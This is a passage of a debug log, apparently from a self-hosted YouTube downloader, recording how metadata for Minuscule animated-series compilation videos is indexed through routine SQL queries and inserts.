#ladybugs #animatedseries", "A Snail’s Dream 🍃 Minuscule 🍃15' Compilation", "ZT_g5_EUu68", 878, false, 4, "https://www.youtube.com/watch?v=ZT_g5_EUu68", "/downloads/Miniscule Season 1/2025-03-11 A Snail’s Dream 🍃 Minuscule 🍃15' Compilation/A Snail’s Dream 🍃 Minuscule 🍃15' Compilation [ZT_g5_EUu68].mkv", false, ~U[2025-03-11 07:00:59Z]] 00:50:51.164 [debug] QUERY OK source="sources" db=0.4ms idle=519.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:51.165 [debug] QUERY OK source="media_profiles" db=0.4ms idle=16.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:51.166 [debug] QUERY OK source="media_items" db=0.6ms idle=16.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89018] 00:50:51.167 [debug] Current batch of media processed. Will check again in 1000ms 00:50:52.168 [debug] Current batch of media processed. Will check again in 1000ms 00:50:53.169 [debug] Current batch of media processed. Will check again in 1000ms 00:50:54.170 [debug] Current batch of media processed. Will check again in 1000ms 00:50:55.171 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n%CHAPTERS%\r\n \r\n%PLAYLIST%\r\n \r\nMinuscule in English 🇺🇸: https://youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ\r\n\r\n© Futurikon\r\n\r\n#ladybugs #dragonflies #watering #projectile #ladybug #seed #plant #fruit #Minuscule #nature #insects #animatedseries", "duration" => 877, "filename" => "/downloads/Miniscule Season 1/2025-03-06 Ladybugs 🐞 Minuscule 🍃 15' Compilation/Ladybugs 🐞 Minuscule 🍃 15' Compilation [x3YgzbAMQIY].mkv", "id" => "x3YgzbAMQIY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=x3YgzbAMQIY", "playlist_index" => 60, "timestamp" => 1741258881, "title" => "Ladybugs 🐞 Minuscule 🍃 15' Compilation", "upload_date" => "20250306"} 00:50:55.172 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=733.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:55.173 [debug] QUERY OK source="sources" db=0.4ms idle=527.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:55.175 [debug] QUERY OK source="media_items" db=1.0ms idle=528.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-06 11:01:21Z], 4] 00:50:55.178 [debug] QUERY OK source="media_items" db=2.1ms idle=530.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n%CHAPTERS%\r\n \r\n%PLAYLIST%\r\n \r\nMinuscule in English 🇺🇸: https://youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ\r\n\r\n© Futurikon\r\n\r\n#ladybugs #dragonflies #watering #projectile #ladybug #seed #plant #fruit #Minuscule #nature #insects #animatedseries", "Ladybugs 🐞 Minuscule 🍃 15' Compilation", "4a586a2c-30e6-4e28-a564-b3c8007cd41c", "x3YgzbAMQIY", 877, false, 4, "https://www.youtube.com/watch?v=x3YgzbAMQIY", 60, "/downloads/Miniscule Season 1/2025-03-06 Ladybugs 🐞 Minuscule 🍃 15' Compilation/Ladybugs 🐞 Minuscule 🍃 15' Compilation [x3YgzbAMQIY].mkv", false, false, false, [], 1, ~U[2025-03-06 11:01:21Z], ~U[2025-12-14 07:50:55Z], ~U[2025-12-14 07:50:55Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n%CHAPTERS%\r\n \r\n%PLAYLIST%\r\n \r\nMinuscule in English 🇺🇸: https://youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ\r\n\r\n© Futurikon\r\n\r\n#ladybugs #dragonflies #watering #projectile #ladybug #seed #plant #fruit #Minuscule #nature #insects #animatedseries", "Ladybugs 🐞 Minuscule 🍃 15' Compilation", "x3YgzbAMQIY", 877, false, 4, "https://www.youtube.com/watch?v=x3YgzbAMQIY", "/downloads/Miniscule Season 1/2025-03-06 Ladybugs 🐞 Minuscule 🍃 15' Compilation/Ladybugs 🐞 Minuscule 🍃 15' Compilation [x3YgzbAMQIY].mkv", false, ~U[2025-03-06 11:01:21Z]] 00:50:55.179 [debug] QUERY OK source="sources" db=0.4ms idle=533.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:55.179 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:55.181 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89020] 00:50:55.181 [debug] Current batch of media processed. Will check again in 1000ms 00:50:56.182 [debug] Current batch of media processed. Will check again in 1000ms 00:50:57.183 [debug] Current batch of media processed. Will check again in 1000ms 00:50:58.184 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Zzzzzz Patrol | S01E39\r\n00:04:38 | Wasp Belle | S01E04\r\n00:09:17 | Torpedo | S01E52\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #wasp #nap #insulting #aerobatics #formation #stratosphere #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 908, "filename" => "/downloads/Miniscule Season 1/2025-03-01 The Zzzzzz Patrol | Minuscule 🍃 15' Compilation/The Zzzzzz Patrol | Minuscule 🍃 15' Compilation [POU5fLkYjnQ].mkv", "id" => "POU5fLkYjnQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=POU5fLkYjnQ", "playlist_index" => 61, "timestamp" => 1740855643, "title" => "The Zzzzzz Patrol | Minuscule 🍃 15' Compilation", "upload_date" => "20250301"} 00:50:58.185 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1539.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:58.186 [debug] QUERY OK source="sources" db=0.5ms idle=1540.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:58.188 [debug] QUERY OK source="media_items" db=1.1ms idle=1541.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-01 19:00:43Z], 4] 00:50:58.208 [debug] QUERY OK source="media_items" db=19.6ms idle=1543.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Zzzzzz Patrol | S01E39\r\n00:04:38 | Wasp Belle | S01E04\r\n00:09:17 | Torpedo | S01E52\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #wasp #nap #insulting #aerobatics #formation #stratosphere #Minuscule #nature #insects #ladybugs #animatedseries", "The Zzzzzz Patrol | Minuscule 🍃 15' Compilation", "32263d7d-023f-4fb6-9897-fad9c6ca3b12", "POU5fLkYjnQ", 908, false, 4, "https://www.youtube.com/watch?v=POU5fLkYjnQ", 61, "/downloads/Miniscule Season 1/2025-03-01 The Zzzzzz Patrol | Minuscule 🍃 15' Compilation/The Zzzzzz Patrol | Minuscule 🍃 15' Compilation [POU5fLkYjnQ].mkv", false, false, false, [], 1, ~U[2025-03-01 19:00:43Z], ~U[2025-12-14 07:50:58Z], ~U[2025-12-14 07:50:58Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Zzzzzz Patrol | S01E39\r\n00:04:38 | Wasp Belle | S01E04\r\n00:09:17 | Torpedo | S01E52\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #wasp #nap #insulting #aerobatics #formation #stratosphere #Minuscule #nature #insects #ladybugs #animatedseries", "The Zzzzzz Patrol | Minuscule 🍃 15' Compilation", "POU5fLkYjnQ", 908, false, 4, "https://www.youtube.com/watch?v=POU5fLkYjnQ", "/downloads/Miniscule Season 1/2025-03-01 The Zzzzzz Patrol | Minuscule 🍃 15' Compilation/The Zzzzzz Patrol | Minuscule 🍃 15' Compilation [POU5fLkYjnQ].mkv", false, ~U[2025-03-01 19:00:43Z]] 00:50:58.209 [debug] QUERY OK source="sources" db=0.4ms idle=764.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:58.210 [debug] QUERY OK source="media_profiles" db=0.4ms idle=24.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:58.211 [debug] QUERY OK source="media_items" db=0.6ms idle=24.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89023] 00:50:58.212 [debug] Current batch of media processed. Will check again in 1000ms 00:50:59.213 [debug] Current batch of media processed. Will check again in 1000ms 00:51:00.214 [debug] Current batch of media processed. Will check again in 1000ms 00:51:00.653 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:01.136 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:01.215 [debug] Current batch of media processed. Will check again in 1000ms 00:51:02.216 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad Fly | S01E55\n00:04:38 | Insect High Velocity | S01E53\n00:09:16 | The Wild Bunch | S01E74\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#fly #village #alarms #chaos #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 866, "filename" => "/downloads/Miniscule Season 1/2025-02-27 Mad Fly 🪰 Minuscule 🍃 20' Compilation/Mad Fly 🪰 Minuscule 🍃 20' Compilation [_LSfWUx74wg].mkv", "id" => "_LSfWUx74wg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_LSfWUx74wg", "playlist_index" => 62, "timestamp" => 1740654081, "title" => "Mad Fly 🪰 Minuscule 🍃 20' Compilation", "upload_date" => "20250227"} 00:51:02.217 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1563.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:02.218 [debug] QUERY OK source="sources" db=0.3ms idle=1081.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:02.219 [debug] QUERY OK source="media_items" db=0.7ms idle=766.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-27 11:01:21Z], 4] 00:51:02.221 [debug] QUERY OK source="media_items" db=1.5ms idle=574.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad Fly | S01E55\n00:04:38 | Insect High Velocity | S01E53\n00:09:16 | The Wild Bunch | S01E74\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#fly #village #alarms #chaos #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "Mad Fly 🪰 Minuscule 🍃 20' Compilation", "5a35f969-9b15-4813-8ad3-2a572d026aa5", "_LSfWUx74wg", 866, false, 4, "https://www.youtube.com/watch?v=_LSfWUx74wg", 62, "/downloads/Miniscule Season 1/2025-02-27 Mad Fly 🪰 Minuscule 🍃 20' Compilation/Mad Fly 🪰 Minuscule 🍃 20' Compilation [_LSfWUx74wg].mkv", false, false, false, [], 1, ~U[2025-02-27 11:01:21Z], ~U[2025-12-14 07:51:02Z], ~U[2025-12-14 07:51:02Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad Fly | S01E55\n00:04:38 | Insect High Velocity | S01E53\n00:09:16 | The Wild Bunch | S01E74\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#fly #village #alarms #chaos #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "Mad Fly 🪰 Minuscule 🍃 20' Compilation", "_LSfWUx74wg", 866, false, 4, "https://www.youtube.com/watch?v=_LSfWUx74wg", "/downloads/Miniscule Season 1/2025-02-27 Mad Fly 🪰 Minuscule 🍃 20' Compilation/Mad Fly 🪰 Minuscule 🍃 20' Compilation [_LSfWUx74wg].mkv", false, ~U[2025-02-27 11:01:21Z]] 00:51:02.221 [debug] QUERY OK source="sources" db=0.3ms idle=576.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:02.222 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:02.223 [debug] QUERY OK source="media_items" db=0.3ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 